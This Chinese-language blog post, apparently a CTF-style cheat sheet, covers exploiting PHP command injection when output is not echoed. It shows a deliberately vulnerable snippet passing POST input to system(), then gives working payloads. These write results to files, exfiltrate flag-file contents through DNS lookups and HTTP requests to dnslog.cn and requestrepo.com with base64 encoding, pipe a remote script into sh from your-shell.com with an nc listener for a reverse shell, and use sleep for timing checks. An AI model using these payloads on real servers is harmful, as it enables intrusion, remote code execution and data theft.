免责声明:本文仅做技术交流与学习…

目录

绕过模版:

1. 写入文件、二次返回:

2. DNS信道:

3.http信道: 

4.反弹shell信道  –>公网IP

5.延时  sleep 3 


建立通道(信道) –数据传输的路径 

shell_exec  与 system 相比,shell_exec没有回显结果.

绕过模版:

<?php

echo “hello world”;
# 命令执行:
$cmd=$_POST[‘cmd’];
system($cmd);

?>

1. 写入文件、二次返回:

/?cmd=whoami>1.txt
再访问1.txt:
/?cmd=cat fl?g.php>1.txt


2. DNS信道:

dnslog.cn
/?cmd=ping -c 1 `执行命令`.域名        –1次解析
/?cmd=a=`sed -n “3,4p” fla?.php`;curl${a:0:10}.域名        –一次带出的字符有限.

/?cmd=a=`sed -n “3,4p” fla?.php`;curl${a:10:30}.域名
/?cmd=a=`sed -n “3,4p” fla?.php|base64`;curl${a:10:30}.域名        –base64编码


3.http信道: 

http://requestrepo.com/#/

http://requestrepo.com/#/

(看get请求包)
/?cmd=curl http://域名/?1=`ls .|base64`
/?cmd=curl http://域名/?1=`cat fl?g.php|base64`
 


4.反弹shell信道  –>公网IP

http://your-shell.com/

http://your-shell.com/
(用微软的浏览器访问.)

curl http://your-shell.com/:1337 | sh
/?cmd=curl http://your-shell.com/:1337 | sh
服务器:     nc -lvvnp 1337


5.延时  sleep 3 

–麻烦啊
&2=sleep 3        ||还可验证命令执行.


 

本站无任何商业行为
个人在线分享 » php–无回显情况下的命令执行
E-->